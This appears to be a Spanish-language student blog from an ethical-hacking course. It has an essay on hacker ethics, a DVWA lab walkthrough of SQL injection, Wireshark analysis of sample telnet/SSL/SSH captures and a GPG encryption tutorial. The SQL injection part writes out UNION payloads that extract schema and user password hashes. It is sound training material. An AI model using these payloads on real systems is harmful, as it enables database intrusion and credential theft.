martes, 6 de octubre de 2015

Ética del hacker sin límites

DEBATE SOBRE HACKING

El hacking es la manifestación de un ser humano curioso e inconforme, no se puede culpar a las personas por su deseo de saber y conocer. El hecho importante que ocurre y ha ocurrido, no sólo con el hacking sino con la mayoría de actos, es que hacemos con las cosas, puesto que las cosas en esencia no son buenas ni malas, nosotros como seres humanos dotamos de conceptos y sentidos las diferentes acciones con respecto a nuestras ambiciones.

Pienso que los hackers que vulneraron al grupo Hacking Team no tienen más razón que éste grupo pero tampoco menos razón, se trata de un juego entre personas que se atacan y se defienden. Si el equipo Hacking team  trabajo con organizaciones y acciones grandes, deben estar preparadas para recibir un contraataque, es el principio de una guerra y el que ataca es atacado.

Que esta guerra sea buena o mala sería otro debate, sin embargo cabe aclarar que mientras sigamos pasando por encima de la privacidad y la confidencialidad de los demás, seguiran existiendo mil y un motivos para luchar uno en contra del otro; a simple vista esto parece que no cambiará dentro de mucho tiempo, los gobiernos quieren tener el control absoluto de la información (tarea hasta ahora imposible), las empresas quieren saber a quien venderles sin gastar en posibles no clientes, las personas quieren saber las conversaciones de sus parejas y todo esto continúa creciendo descontroladamente.

Pienso que es hora de hacer algo, y empezar a hacer es empezar con el ejemplo. Sin embargo soy partidario de la justicia y con todo el respeto considero que el que actúa mal no puede pasar inmune como si nada hubiese pasado.

Existe mucha gente desinformada, bueno existimos muchos desinformados, pienso que la población no tiene ni la menor idea de lo que puede hacer un hacker para mejorar su privacidad y vulnerarla, es de suma importancia la proliferación del conocimiento porque se acercan tiempo difíciles donde el acceso a nuestra información será trascendental para el desarrollo de una nación.

Hablar de los límites de un hacker es como hablar de los límites de la curiosidad o los límites de la imaginación, inconcebible, sin embargo como ya he mencionado antes, no se trata de lo que hacemos sino de las reacciones que estos actos causan; por ende, pienso que los límites deben echarse abajo, y una vez que no tengamos límites, aprender de forma lógica y encaminar nuestras investigaciones a la mejora constante de una humanidad sedienta que espera mejorar.

Tenemos que cambiar, pero para cambiar tenemos que actuar, ningún cambio llega solo y bien lo dijo Einstein, si quieres que las cosas cambian, deja de hacer lo mismo.

Reflexión primera parte curso Hacking

Bueno retomando todos los avances hasta aquí:

Primero dar un agradecimiento a todo el equipo (profesores y participantes) que colaboran todo el tiempo con las actividades con el objetivo de crear un mundo más capaz, menos conformista y más preparado.

Entonces en la unidad 1 vimos cómo sacar información de internet de un objetivo por medio de páginas que están a disposición en internet y programas como el nmap que nos permiten escanear puertos de un sitio y obtener sistemas operativos, servidores del sitio entre otros muchos datos.

En la unidad 2 vimos cómo funciona wireshark el cual es un escáner de protocolos, y pudimos observar diferentes protocolos seguros e inseguros con los cuales es posible introducirnos entre el medio de un host y un servidor de internet y tener acceso a la información que es enviada por estos medios. También vimos algo de SQL injection que es la forma de insertar consultas en un programa embebido (que tiene incrustado otro lenguaje de programación) y por medio de estas consultas acceder a datos importantes y sensibles como lo son nombres de usuario o contraseñas.

Por último tuvimos el debate acerca de la responsabilidad del hacker y la ética del mismo, con lo cual hemos visto la gran cantidad de diferencias que tenemos todos al pensar, sin embargo esto es lo que nos hace humanos y lo que me hace sentir orgulloso de ser un ente más que se diferencia de los demás.

Juntos encontraremos el camino, un camino individual …

Hasta una próxima.

SQL Injection

SQL INJECTION


Sistema operativo para la práctica:
https://mondragon.box.com/dvwa7z


Abrimos el archivo descargado con la virtual box, la iniciamos y empezamos



Ahora, escribimos esta ip en el navegador y obtenemos el siguiente resultado:




usuario: admin
contraseña: password
y damos click en login


Bien, después de realizar la autenticación, obtendremos lo siguiente




Posteriormente a la explicación, configuramos la seguridad del servidor en modo débil para empezar a hacer nuestras pruebas




y damos click en submit.


Posteriormente seleccionamos "SQL Injection" en el panel de la izquierda

Inyecciones básicas
Vamos a empezar simulando un consulta, para esto, escribimos el número 1 en el campo en blanco (input) y damos click en submit. También lo intentaremos con el número 2 y el número 3, sin embargo se puede seguir intentando hasta que no obtengamos mas resultados…


CON EL 1




CON EL 2




CON EL 3



Notemos que al darle click en View Source obtenemos la consulta de lo que estamos trayendo a pantalla



Bueno, ahora haremos otro tipo de consulta:
tipeamos  %' or '0'='0 y obtendremos la consulta de todos los registro de la tabla



Ahora vamos a obtener la versión de la base de datos con la siguiente línea
%' or 0=0 union select null, version() # y damos click en submit


Como se puede observar, la versión de la base de datos que estamos utilizando es la 5.5.44

Ahora vamos a averiguar por medio de inyección el nombre de usuario de la base de datos con la siguiente línea


%' or 0=0 union select null, user() # y damos click en submit con lo que obtendremos lo siguiente




nombre de usuario de la base de datos que ejecuta o realiza las interacciones con ésta: dvwa.

De la misma forma obtendremos el nombre la base de datos con la línea
%' or 0=0 union select null, database() # y click en submit




Nombre de la base de datos = dvwa


De la misma forma obtendremos los datos de:

Los esquemas de las tablas de usuario(Los esquemas de usuario tienen la información general de la base de datos)
línea
%' and 1=0 union select null, table_name from information_schema.tables #

Obtener tablas de determinado usuario encontrado anteriormente
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
donde user es el nombre del usuario



Ahora vamos a mostrar los campos que tiene la tabla que deseamos, que en este caso es la tabla resaltada anteriormente (tabla users)
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
donde users es el nombre de la tabla



Ahora vamos a visualizar la información que tiene cada usuario en su registro en la tabla users y esquema information_schema


línea: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #


donde first_name, last_name, user, password son los campos hallados anteriormente y user es el nombre de la tabla.




Ya tenemos las credenciales, sin embargo la contraseña esta cifrada, por lo que debemos usar algo como Jhon the ripper para encontrarla. En caso de querer hacerlo seguir este link
http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson6/











sábado, 3 de octubre de 2015

Analizando tráfico con Wireshark


ANALIZANDO TRÁFICO CON WIRESHARK
PROTOCOLOS SEGUROS Y OTROS NO TAN SEGUROS

Hola a tod@s, saludos y conocimiento para tod@s…

En esta práctica haremos un análisis de tráfico con el software wireshark (https://www.wireshark.org/download.html), con tramas de datos ya descargados.

Analizando un protocolo inseguro: telnet

https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=telnet-raw.pcap
Se ha hecho una conexión por telnet y vamos a encontrar el usuario del login y su contraseña. Posteriormente el sistema operativo utilizado para la conexión y los comandos ejecutados en la sesión.

  1. Abrimos la traza con wireshark






2. En el filtro de wireshark, escribimos telnet para filtrar (valga la redundancia) por este servicio.





3. Empezamos a buscar línea por línea hasta encontrar algo interesante.
En la línea 28 encontramos la conexión (el login)


En la línea 56 encontramos la palabra password

En la línea 70 encontramos la última conexión realizada



Revisando nuevamente, (no hay que pasar por alto nada) en la línea 26 se encuentra el sistema operativo utilizado para hacer la conexión y su arquitectura







Sin embargo, en la línea 74 encontramos una especificación más detallada del sistema operativo utilizado, puesto que se puede ver la bienvenida de éste.




En la línea 116 podemos ver los comandos ejecutados en la sesión

Volvemos a revisar y nos enfocaremos en las líneas que están después de la línea del login y el password mencionadas anteriormente

Fijémonos que en la línea 28 se hace el login, por ende analizaremos las líneas que salen de esta máquina (192.168.0.1) posteriores a esta línea


En la línea 38 empezamos a recopilar los caracteres


línea 42 obtenemos el otro carácter



línea 46 el siguiente



linea 50 el último

Con lo cual obtenemos el user: fake

Seguimos con las líneas que están después de la palabra password con las cuales obtenemos la contraseña: user

línea 58 letra u
línea 60 letra s

línea 62 letra e

línea 64 letra r

Con la contraseña debemos tener en cuenta que debemos analizar que la fuente del envío sea la ip 192.168.0.2 puesto que es la que hace la solicitud



Analizando un protocolo seguro: SSL

SSL es un protocolo seguro que utilizan otros protocolos de aplicación como HTTP. Usa certificados digitales X.509 para asegurar la conexión.(https://mooc.mondragon.edu/courses/INFORMATICA/Seguridad/Hacking-etico/courseware/5f79be9691b943a98b3cfe2a201d3400/da6f93fcd4144a529616379d92f650db/)

Haremos este ejercicio con la siguiente trama https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=x509-with-logo.cap

Bueno, haremos el mismo estudio con un protocolo de red seguro, sin embargo en este identificaremos el paquete en el que el servidor envía el certificado de seguridad al cliente:

Filtramos por ssl y empezamos a buscar:



En la línea 2 podemos notar que la ip fuente es la del servidor, la ip destino pertenece al cliente que hace la solicitud y en info aparece Server hello, Certificate, Server Hello Done con lo cual obtenemos una pista gratificante y sencilla de ver. En esta trama encontramos el certificado


(Cabe destacar que una revisión poco profunda en la línea 11 encontramos otro envío de certificado, junto a la línea 18.

Podemos comprobar que el certificado no viene cifrado debido a su forma escrita legible y también encontramos quién emite el certificado (www.verising.com).

El certificado como ya lo hemos mencionado, asegura la identidad del servidor.

Debemos notar que este protocolo nos muestra menos información que la que vimos por telnet debido a su seguridad.



Analizando un protocolo seguro: SSH

SSH, que realiza una negociación previa al intercambio de datos de usuario. A partir de esta negociación, el tráfico viaja
cifrado(https://mooc.mondragon.edu/courses/INFORMATICA/Seguridad/Hacking-etico/courseware/5f79be9691b943a98b3cfe2a201d3400/da6f93fcd4144a529616379d92f650db/)


En esta práctica veremos ciertas cosas interesantes. Empecemos:

Link de la trama de datos: https://mondragon.box.com/sshpcap

Nuevamente filtramos por lo que nos interesa que es ssh





Podemos notar rapidamente el sistema operativo




Veamos que en la parte de info de la línea 20 encontramos el inicio del cifrado de la información

Notablemente el único protocolo que viaja cifrado es el SSH  y también notamos que gracias a este protocolo seguro, estamos totalmente desconectado o inhabilitados de acceder a datos sensibles como nombres de usuario o contraseñas puesto que los datos viajan cifrados por la red, con lo cual concluímos que es una de las mejores opciones que tenemos al realizar nuestras conexiones remotas.

Esto ha sido todo y hasta una próxima…

"¡En efecto, quien busque el infinito, que cierre los ojos!"
Milan Kundera

martes, 29 de septiembre de 2015

Encriptación y firma digital con GPG

Hola a tod@s, en este ocasión vamos a ver como cifrar nuestros mensajes para comunicarnos de forma seguro, creando una llave pública para que los demás cifren y una llave pública para ser los únicos en poder descifrar. Es una herramienta maravillosa que nos permite mantener la integridad y confidencialidad de nuestra información.

Vamos a utilizar el software kleopatra en entorno windows para llevar a cabo esta práctica.
Aquí el link para descargar http://www.gpg4win.org/

Aquí vamos:

Entras al kleopatra y le das Ctrl N, o file y New Certificate



Le damos en la primera opción y llenamos el formulario


Y Next.

 


Le damos en Create Key

 

Introducimos la contraseña dos veces

 

Y le damos en finish.
Ahora le damos click derecho a las llaves que acabamos de crear


Y damos click en Export Certificates. Posteriormente buscamos el lugar donde vamos a guardar el archivo que contiene las llaves.


Guardamos y buscamos el archivo. Lo abrimos con un editor de notas, en este caso usaré notepad++

  

Este archivo lo enviamos a nuestro compañero de práctica y con esta clave nuestro compañero encriptará sus mensajes o archivos.


Ahora, la clave privada que nosotros usaremos para desencriptar se saca de forma similar. Click derecho en el nombre que pusimos cuando creamos la llave, export secret keys, seleccionamos la carpeta donde guardar y guardamos



Bien, ahora que he enviado mi clave pública a mi compañero de grupo, él me ha enviado un mensaje cifrado con ésta, y con mi llave privada voy a desencriptarlo:
Guardo el archivo cifrado en un archivo txt

 

Posteriormente en kleopatra doy file, decrypt/verify files



Busco el archivo txt con la información cifrada y click en abrir


Y por último click en decrypt/verify

 

Nos solicita la contraseña con la que encriptamos


Y listo


Damos en ok y buscamos el archivo que ha sido creado en el mismo lugar donde guardamos nuestro archivo encriptado.



Lo abrimos con cualquier editor de texto y voilá, tenemos nuestro mensaje

Esto es todo por el momento, hasta una próxima